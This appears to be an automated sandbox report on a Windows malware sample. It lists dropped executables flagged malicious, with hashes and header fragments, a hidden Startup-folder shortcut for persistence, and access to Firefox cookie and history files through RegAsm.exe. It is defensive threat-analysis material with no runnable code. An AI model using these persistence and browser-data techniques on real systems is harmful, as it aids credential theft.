SHA-256:	180658692EDC3F82E945AA1BCB13B154B98C5FAFCA2C69B7AF5A9B1941CB579C
SHA-512:	7EDCD5051F25BDD450ECB9AA9A92C1F9427F830B63A54B904EC48180A44A2CDD9F6F8B05B0B9039B37A7F17013053D3DADF68AD71575940BE1831F95F7B5531E
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f...............#.v........................@......................................@... .................................................................h...................................................X................................text....u.......v..................`.P`.data...X............z..............@.0..rdata..X............\|..............@.`@.eh_fram............................@.0@.bss..................................`..idata..............................@.0..CRT....4...........................@.0..tls................................@.0..reloc..h...........................@.0B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\twekgmwoe\slrmrjyhe

Download File

Process:	C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe
File Type:	data
Category:	dropped
Size (bytes):	75
Entropy (8bit):	4.745373610946795
Encrypted:	false
SSDEEP:
MD5:	E6E7FAB1384E07BEA3B7E530DC6223E9
SHA1:	1913352D637A01166E6651AA5582C805E6A00C47
SHA-256:	597F668425A0CA2E4854DBAED02267C8EE3C367F85B2A99CE9F7FCC36B027775
SHA-512:	03EE3D7798A14845B21944D3CD8EA62CCB19A777EC1CAF0D21A7C3542F60CC34B06F6E0C6FDD2A5ACF51E6D6248DE96CF5A532578E85BED2981AF5D2F34857F1
Malicious:	false
Reputation:	unknown
Preview:	.sYYYY[....5.......0)[CY[AWMOWHKJWJJ[.sYYYY[....5.......-...[CYHNKOIOMLNMs.

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2246122658-3693405117-2476756634-1002\76b53b3ec448f7ccdda2063b15d2bfc3_9e146be9-c76a-4720-bcdb-53011b87bd06

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	2251
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:
MD5:	0158FE9CEAD91D1B027B795984737614
SHA1:	B41A11F909A7BDF1115088790A5680AC4E23031B
SHA-256:	513257326E783A862909A2A0F0941D6FF899C403E104FBD1DBC10443C41D9F9A
SHA-512:	C48A55CC7A92CEFCEFE5FB2382CCD8EF651FC8E0885E88A256CD2F5D83B824B7D910F755180B29ECCB54D9361D6AF82F9CC741BD7E6752122949B657DA973676
Malicious:	false
Reputation:	unknown
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\PowerExpertNNT.lnk

Download File

Process:	C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Archive, ctime=Wed Sep 11 13:22:52 2024, mtime=Wed Sep 11 13:22:52 2024, atime=Wed Sep 11 13:22:24 2024, length=8684256, window=hide
Category:	dropped
Size (bytes):	1250
Entropy (8bit):	4.923714682158837
Encrypted:	false
SSDEEP:
MD5:	FD73EFBD583575D45453D69B6D26112F
SHA1:	A84575F0557477480FDC36B57C436BBD9D698C95
SHA-256:	28838F44D7E46A90ED51F7EE7210E001D3DA0E4066CEAB79C47C3646A07017A0
SHA-512:	34208E3EF169BF0B91513507AC1050AA95902C0DE856D44A2E7CB61E7A90DEA99AB154682DBA1F65054284A62F68B10900A9F4DAA992CC277E64A273BC559051
Malicious:	false
Reputation:	unknown
Preview:	L..................F.... ...XA:.V...XA:.V.......V...........................4.:..DG..Yr?.D..U..k0.&...&......vk.v........U.....z.V.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^+Y.r...........................%..A.p.p.D.a.t.a...B.P.1.....+Y.r..Local.<......CW.^+Y.r....b.........................L.o.c.a.l.....N.1.....+Y.r..Temp..:......CW.^+Y.r....l.........................T.e.m.p.....f.1.....+Y.r..POWERE~1..N......+Y.r+Y.r....J......................q..P.o.w.e.r.E.x.p.e.r.t.N.N.T.....r.2.....+Y.r .POWERE~1.EXE..V......+Y.r+Y.r..... ....................&I..P.o.w.e.r.E.x.p.e.r.t.N.N.T...e.x.e.......r...............-.......q............?.c.....C:\Users\user\AppData\Local\Temp\PowerExpertNNT\PowerExpertNNT.exe....P.o.w.e.r.E.x.p.e.r.t.N.N.T.>.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.P.o.w.e.r.E.x.p.e.r.t.N.N.T.\.P.o.w.e.r.E.x.p.e.r.t.N.N.T...e.x.e.........\|....I.J.H..K..:...`.......X.......745481...........hT..CrF.f4... ..T..b...,..

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Reputation:	unknown
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Reputation:	unknown
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\iofolko5\2Su0FBbBo66AP291hju1uAp_.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	289832
Entropy (8bit):	7.984894884244759
Encrypted:	false
SSDEEP:
MD5:	D264213F54193475FFD0301F7D92639F
SHA1:	8E494A7D4B3D54E03A3B27C8DFDE51295BB56737
SHA-256:	6B11A91599104B307955A4CDE5942D89ED2AA29E833FA229E21368A73139186D
SHA-512:	1A699BE3BB71083C35D5C0BBBCB862FDACB71F67FC8C4E34CFA68C52E7ED1B4360C1975BA290D14D95DEE8233558E6DFC1B10E628D5DA97A2FAFFCED2BB14F92
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....).f.................<..........^[... ...`....@.. ....................................`..................................[..K....`...............F..(&...........Y............................................... ............... ..H............text...d;... ...<.................. ..`.rsrc........`.......>..............@..@.reloc...............D..............@..B................@[......H.......pL..h...........................................................%<...7'...5..v.q,..H.....JZy......>..Q...;.T.!.^..nM3..O...i%..\|....p..y....LJ..).C.O..t....\|3...+...h:...yT.R.X....#..l....(....[.W...{.S..d."...<'..=.%=..f.r...(>......8...........ub....!......T.c..J..U?{\|....y.u.GOf{....`+6.*...&X.gv..@s...Q...........!E.i^...$..r....!.4........'..8a.O.@..5B.G.....6.F\..+;E2.SQ..R^.7..z..t..Tn...rcY.........5?....%..7.)..!..>.1....A.D...x8.."."1...>

C:\Users\user\Documents\iofolko5\D4wpDprTNebjzitxM8NmQjMu.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3456914
Entropy (8bit):	7.997802618528059
Encrypted:	true
SSDEEP:
MD5:	AC08E549A6385F3278706D1CAD08F5B4
SHA1:	FE7EFF1A29C5972E87FD0B839012189999E3BEF9
SHA-256:	39FD62FACED036BC37AF5BB7D442786A324F4A58A170AECA925C3778F71DFD83
SHA-512:	F836F009754B90FBFE75871CED53C1A17EAF4A95190F8EF27592E2B929518B172975C2783C920CB9A097810DDCEA134FBF3F3E4A39D1824D4BE108AFB0AD14C9
Malicious:	true
Reputation:	unknown
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.....................F....................@..........................@...................@..............................P........,..........................................................................................................CODE....0........................... ..`DATA....P...........................@...BSS......................................idata..P...........................@....tls.....................................rdata..............................@..P.reloc..............................@..P.rsrc....,.......,..................@..P.............@......................@..P........................................................................................................................................

C:\Users\user\Documents\iofolko5\DUGO48VDeAcOvTvqkkCJ3EIG.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1041416
Entropy (8bit):	7.83805483192604
Encrypted:	false
SSDEEP:
MD5:	0FFEE13FF36C1CD606D032450DEB5AC1
SHA1:	9EC47845295F044B52E8E770C29FDFCCC4247336
SHA-256:	4C05C9ADE0F5FA4DDA9A53C74F8BC41C3AB59D29203DC11C2F5CC99A5DBF7DF1
SHA-512:	33DF0F375DCD5EBB9EFA37747930F55774797DA9B4262FAA667B67534736BDF49C786BCDBC987F5A9676C586E073EBB8D1C61EA550380B2BCBB28F28DF2F881D
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......aKZe%46%46%46,R.6&46,R.6446%56.46>..6+46>..6$46>..6$46Rich%46........PE..L.....GO.................p....>..B...8............@...........................H.....uE....@.................................4........0G..(....................?.H....................................................................................text....o.......p.................. ..`.rdata..b.......,...t..............@..@.data....f>.........................@....ndata....... ?..........................rsrc....(...0G..*..................@..@.reloc...2...`H..4..................@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	8684256
Entropy (8bit):	7.036585407539768
Encrypted:	false
SSDEEP:
MD5:	B5887A19FE50BFA32B524AAAD0A453BC
SHA1:	CD1F3905959CD596C83730A5B03CEEF4E9F2A877
SHA-256:	FCE5CBEEC1EB5274FC3AFA55E57FB2F724688CB9D4661A8A86716011493564C7
SHA-512:	5B9914C94101B53314B14335E687552E5DA0A4085AFB826AE94F45769E9B1E66A35624B6E6B60257514F4ADF2ACC5C9E048BFA3A24AAFB891D203E3011C02538
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....P..............................&... ...@....@.. ....................... ......I.....@..................................&..K....`.............................6&............................................... ............... ..H............text........ ...................... ..`.sdata.......@......................@....rsrc.......`......................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\iofolko5\GYi2x83ApCTB3_vjRj5FL48U.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	513024
Entropy (8bit):	7.995324800347376
Encrypted:	true
SSDEEP:
MD5:	8251E639862C3EBF4DEB3A89FB0CF7C6
SHA1:	D6895C6732042EDE4CB7BAE0B0E32B6E82DFFE2E
SHA-256:	52F2B26FCD104F3473E3EA3968CECCD708A7F48F37288264F0EB94EF67ED5332
SHA-512:	A6F07AD38B78310893BD493DF6EA2B0D9E57328AB052285EE9B82BA180E6EAD45B185502CA609EE14D9234750B472AC875922BE0D5ECB860320A830336A6EDEC
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...[..f............................^.... ........@.. .......................@............`.....................................K............................ ....................................................... ............... ..H............text...d.... ...................... ..`.rsrc...............................@..@.reloc....... ......................@..B................@.......H.......h...p...............................................................1Pt.....H.vZ..;#.X..w.g..\|Qx.e.l......E...Eb....c...n...g..j..mU`b2.....I...E..:h2.....V.}.....t..`....h+t.W.zp.8. e._.......@;...`.'......:...S<2.H.o.v.`.S..<.....Q.".ocGj1YK.y..,..G..-+...e..) .RUxr..H..G.O.B)..Wy......Y..T.i...zw...$......6X[U.}E(..M}._r-.......\KS.Z.s.O...A.4.,.W.Zr....T.?+.{...?.....^)=T../.Qp.[.......J...#.tA!..4..X....j\|%...dJ.m.....~#y&.j........I.3h..

C:\Users\user\Documents\iofolko5\Kra4UjTOv3M2ogVWTG9TXvYP.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	2590720
Entropy (8bit):	7.821985472542587
Encrypted:	false
SSDEEP:
MD5:	0FEEBE85E6413561E738588CAD1076A3
SHA1:	8C24B6F02987B0E768AF17EF34D5D40DF8B13CF2
SHA-256:	038AE1968E1CC1424184B684200CCED6E2DDD84D4D8557FC2A10330CB754F44E
SHA-512:	B71AB723274A8B35AE46F8E4F236057BB28DBD4A13673F00596910A8D71D7F814894C09C1FEDC6981E0E4077236871170B9819490DF31E092AD0D36FCD75E033
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..._0................P...$.........N.%.. ... %...@.. ........................'...........@...................................%.K.... %.\.....................'.......%.............................................. ............... ..H............text...T.$.. ....$................. ..`.rsrc...\.... %.......$.............@..@.reloc........'.......'.............@..B................0.%.....H...........`.......B...P^..;............................................(Y............(Y..........................(Y.....0..........(Y... ........8........E....$...?...Z...8....s.........8....s.........8....s......... .....9....&8....s......... .....9....&8....s.........8........0..............0..............0..............0..............0............................0..............0.....................0..............(Y...(......................*....(Y.

C:\Users\user\Documents\iofolko5\McmVdxsIvLZmG47_ZImbEdvo.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	289832
Entropy (8bit):	7.984760952741452
Encrypted:	false
SSDEEP:
MD5:	E1001C8649AC77FAEB446D8FF91F50D2
SHA1:	C2532C7B108AC61CA439CFD0A7992B26C89DC34B
SHA-256:	05D5D2F7E1270D38D47870C349D22A7E02C9682BA123B1B5E8AE1AA4E3554087
SHA-512:	A55BFA7EAFCA3306E51BD0E1100E46EA407F4451332FCCE2772788A25E77D9B968A2FFC934CC05FC9117A1AB8DDADE1F15E61CDD35341EE8D977721BB4FB178F
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....).f.................<..........^[... ...`....@.. ....................................`..................................[..K....`...............F..(&...........Y............................................... ............... ..H............text...d;... ...<.................. ..`.rsrc........`.......>..............@..@.reloc...............D..............@..B................@[......H.......pL..h...........................................................\.b.;1i3?....&..M....}.]...I..u.....).g......j...b..UZA2F..r..r..X.j...'J.$NL.0~._...0x.T..<)...........5..7C]=.....Z././.m....?l...h.(..,w.B.)...........dT.e1=.w..[.Z.d6<......y ...6*y.c..v.u.Y...<..<.3V.%.fq.O..8...Nl...lq..$.....PQ..w(..o...i.C.]y"..'g..H.a.M.......p<.W...Z2],..d.\|.\5;!..._...q<c3.a&.+Z..GpY..+...3.A.....X{..\.q.[.........q....v.H..0}..a2@?.asC.....O./.c..{.

C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1751040
Entropy (8bit):	7.943745946709424
Encrypted:	false
SSDEEP:
MD5:	B7E094CBC9D971FDE82441821F564D37
SHA1:	D33036607F717AB690A11E507420153B771BA958
SHA-256:	136D677281759FBFCFE3B706E7DE4B5A866834509CE867EDBB3B6693C90F2F68
SHA-512:	185557B9423BF9EA79E0950AE9E6BA739AD10B1A3FE8A42A54FE9EDC31196AB20BC980D556BEE68DDB3791763EF7C43D711BB135801866E8E1FEDC246E04B8FD
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b...............u^......uk......u_......{v.....fz.......{f..............uZ......uh.....Rich............PE..L....Z.f.....................B".......f...........@...........................f...........@.................................P.#.d.............................#..................................................................................... . ..#......<..................@....rsrc ......#......L..............@....idata ......#......L..............@... .P)...$......N..............@...pymoazte.P...PM..B...P..............@...gujgkxpj......f.....................@....taggant.0....f.."..................@...................................................................................................................................................................................................................................................

C:\Users\user\Documents\iofolko5\T1kEdFsnxciHVYBeHqJvMP2Q.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	21402624
Entropy (8bit):	5.357185283408034
Encrypted:	false
SSDEEP:
MD5:	0BD8936501F04777F9C8684B417B6399
SHA1:	EB52CCE26EEC7D1DE3BC393ADE790BBB88704290
SHA-256:	D93FBC1550C46AF5B5828FA362E36F7FFE36421AC1BB336533E29559F28CFE74
SHA-512:	D6A4F5194087329ED58A954EA5416862C630EF90F09D298AD7363C82962E032C23CDA1B6ADFD9A700DB473ACA0D3451CEC03577157F41A58EE893CE47DD73CA9
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........>F..............ze...................6...@...........................K.....$.F...@..................................0B.^.... K./S...................@B......................................................46..............................text...Hye......ze................. ..`.rdata..t\|....e..~...~e.............@..@.data.........6..n....5.............@....idata..^....0B......j=.............@....reloc.......@B......p=.............@..B.symtab.......K......>F................B.rsrc.../S... K..T...@F.............@..@........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\iofolko5\Vwagc2Gf16eP8XIbenmQEOda.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6623829
Entropy (8bit):	6.631818115448287
Encrypted:	false
SSDEEP:
MD5:	BBB65776463DD9EA77B58E098A461A56
SHA1:	693EDE73406A4DF03ED5245C54368E7987C15C83
SHA-256:	A4BD0F0CE06C2CBF97EAEA9273D486B13D74E7734476063DDFC165F5131DC2F4
SHA-512:	DE87CF86015EE733E83DA72D020B89C3BB40B13662271B0F1FDC6711C39B7E61170F2273260BAEB238659F2D86C4258B17E859E4D8F920B0F30D77A001807355
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..f..^.q%.........#..G..,Z...f...........G...@..........................`......t.f....... .........................B.... ...............................P..\..........................DlH......................!...............................text....G.......G.................`.P`.data...H.....G.......G.............@.`..rdata..X.....G.......G.............@.`@/4............H......bH.............@.0@.bss....T.f.. L.......................`..edata..B.............K.............@.0@.idata....... ........K.............@.0..CRT....4....0........L.............@.0..tls.........@........L.............@.0..reloc..\...P...,....L.............@.0B/14..................2Z.............@..B/29.................:Z.............@..B/41.....XL...@...N....[.............@..B/55.....B............0\.............@..B/67.....T.............].............@.0B/80.....a............2].

C:\Users\user\Documents\iofolko5\WT1f5JwoYdslX1xK50iSTvoU.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	11158528
Entropy (8bit):	7.965100436275914
Encrypted:	false
SSDEEP:
MD5:	079D166295BAFA2AB44902C8BF5FF2A5
SHA1:	46E728A035C3FD9618F823A5D0B525A9AA22E1C1
SHA-256:	DBE5FB6A6D567628F7982723F21869F68508397EE6926116554AEF37789014D8
SHA-512:	949F278BF199553263D7023349B16F6060506E29518886DFF77D913DF54B951B0C0026667BBD67A9CDC4C44AE7C174D74DDD7D5520DF081D91A1296DE095151B
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d....+.f..........#............................@.......................................... ..................................................0..<............m..`..........................................x...(...@l..8............P.. ............................text...6........................... ..`.rdata..............................@..@.data...............................@....pdata..............................@..@.00cfg..............................@..@.tls................................@....text0..8k......................... ..`.text1..X....P......................@....text2...7...`...8..................`..h.rsrc................>..............@..@........................................................................................................................................................................................................................

C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6626133
Entropy (8bit):	7.930128631732736
Encrypted:	false
SSDEEP:
MD5:	68821531A37BA7822FD5D67019733B6B
SHA1:	B53DE7324804E2775D46F2EC9A56627D706EB647
SHA-256:	39551AF6337D3DCA0ED2212E19E7B6648C8D4FCA343C61A27E415602F321CEBA
SHA-512:	5E249F08AA91641C00F43FFF22B6D5D8C714A5B3E8FFE4DBAA8B223C5C65588CD0E821E3B98297CD638096C5B1C768099B5C8B9C368CEFC951248ADF1CF1616C
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......$.2.`.\.`.\.`.\..y..h.\..y....\..y..m.\.....b.\...X.r.\..._.j.\...Y.Y.\.i..i.\.i..b.\.i..g.\.`.].C.\..Y.R.\..\.a.\...a.\..^.a.\.Rich`.\.........PE..d...#.@f.........."....!.h.....................@..........................................`.............................................4......P.......\|.......l0..............p....6..T....................7..(......@....................... ....................text...ng.......h.................. ..`.rdata...(.......*...l..............@..@.data...\...........................@....pdata..l0.......2..................@..@.didat..`...........................@..._RDATA..\...........................@..@.rsrc...\|...........................@..@.reloc..p...........................@..B........................................................................................................................................

C:\Users\user\Documents\iofolko5\YPlv8euR9KnvHnqn8UAA5AHQ.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1811225
Entropy (8bit):	7.91024332993057
Encrypted:	false
SSDEEP:
MD5:	BDEFC54E5FE6F091F968A28AA63783BA
SHA1:	812E7C68F9D31AD7D8E931D5A20529EF920A736C
SHA-256:	049EAF34A048A80C4BDAC29DBE453169F2B0927CAEC3E397C1B9EFF016B9B415
SHA-512:	43E3597DF8118C956E08AF657B5A39B323A0188CD0791016DAB5A3E2DDDDA20A5C8CCCD8D70555DA77A3D6B3F1DA999C5C46CB40E3CA0E77461F2669FDD18C24
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......aKZe%46%46%46,R.6&46,R.6446%56.46>..6+46>..6$46>..6$46Rich%46........PE..L.....GO.................p...:B..B...8............@...........................K.....0`....@.................................4........0G..&...........}..@%....?.H....................................................................................text....o.......p.................. ..`.rdata..b.......,...t..............@..@.data....f>.........................@....ndata....... ?..........................rsrc....&...0G..(..................@..@.reloc...2...`K..4..................@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\iofolko5\nnoSckkth0srkZiZ3BOPqSkN.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	320000
Entropy (8bit):	7.989227158368178
Encrypted:	false
SSDEEP:
MD5:	7F763112FF2D56B045084192E1FF9FF9
SHA1:	1037D19845AABD5FCE1F98AE8FB7A89E2C0CDD0C
SHA-256:	EB61898F47A0FC4109E1B5368162D6E64AEC443193B40792A9D9E918F93D8B20
SHA-512:	52C92CC942010C311A035CB23959FE27D9A065EC870C60989654A9E4C7E7B94C5CC45A96A4FA51A091C248D69AFEB2F23B0F57C3AF8362C799B8E6CFB7B88E71
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...L}.f............................^.... ........@.. .......................@............`.....................................K............................ ....................................................... ............... ..H............text...d.... ...................... ..`.rsrc...............................@..@.reloc....... ......................@..B................@.......H.......h...p..............................................................:.J.Lr[.n...z9..8.&\..R.Lo.&.2.....sn(.R..O.Kje.H,...p.?Y...=..S..H...cms]2&NI.....s0.Tq.....~.=g.....&.6....c-...fO9Vbj.C..].(.4..._.E.iVv.6R.U,S.`.T..+h...hJw..Ij+...`P.... ..G.. {..e..i.CV.%.g.(....{...].n3]R......j7.t...<...7G..cD.X.....m..qn.M.L..:...s5.^/..OW&.+j....[=..V.-.[.\|..b.. .A.kE.0c.I...\.9$.=.Na.v.Sd.^.>..([......l....M.........#4IT.)..y<k(.~..T.....u.>h..N.8....B..\

C:\Users\user\Documents\iofolko5\woZv82DGCV54SaaUFka2bYWX.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	210472
Entropy (8bit):	7.9740762742296525
Encrypted:	false
SSDEEP:
MD5:	DBB43B8EFB997DE4CE00A09D935C0F5F
SHA1:	CEA05C7E693CC39DC2543A18D466B0A4362DACD3
SHA-256:	EC9A1BEDE697CABA74FF4666E0317CB3231FE37FBCB9F8821620C52D7D8A4DAD
SHA-512:	7705C1FB468666A407292EFCD7D4EDFFB1E2680C0DD14445064FD0A1F2E606CCA8EB61F6509C13703E96502178C26388AD8855A87D71FDA8F9F1F2D7F49E86CC
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....(.f............................^%... ...@....@.. ....................................`..................................%..K....@..................(&...`.......#............................................... ............... ..H............text...d.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................@%......H.......p...h...........................................................Km..qN..#.S.0...5.".+...GE..G..B.b.].....4..W..I.,.2...6......v..S(.vr...z.....n...gw..w....Y...Yt.<.L..:..d...~.\.\|..ll.......X.:u.#.W..p@.-..I).\U.Q.f9.'b..+.&...4.....,rI.ek[B..lUQ.Ra.:Y.=.1.)T..M...Qp6.yE...E..A_.1...Xr....e..3.1.P\|.M...G._~...2....Ee.kV_+....~.[.R.!...J.a...D.Ci&IEW..V!b.;.F..89.............R_,.B...`..zY..V.;t_...A...(e..@h$.y..]]I.Gri.?fG..).."Ujx..In. `N.-2P.4U..

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Reputation:	unknown
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.46610774879993
Encrypted:	false
SSDEEP:
MD5:	3832F73374ECF2EF8A745E1CE643EF83
SHA1:	5D0DFCF9273248EBC9B937A75B64F6FD8899F016
SHA-256:	57B955DB5C294C7B5818C3BFBAFFF0C6D698D5626942838159FF1D4C90F4A918
SHA-512:	4F77447915C0C8798A9A908D8736B110112C1CCDF33CC64CF62B51DCE9C546CDB89F60A2B7014E31556E6FA0D7BEFA137B47B0AA38B99172951FA8089CFBCFE0
Malicious:	false
Reputation:	unknown
Preview:	regf6...6....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm.<p.V.................................................................................................................................................................................................................................................................................................................................................g'........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.269636620392066
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
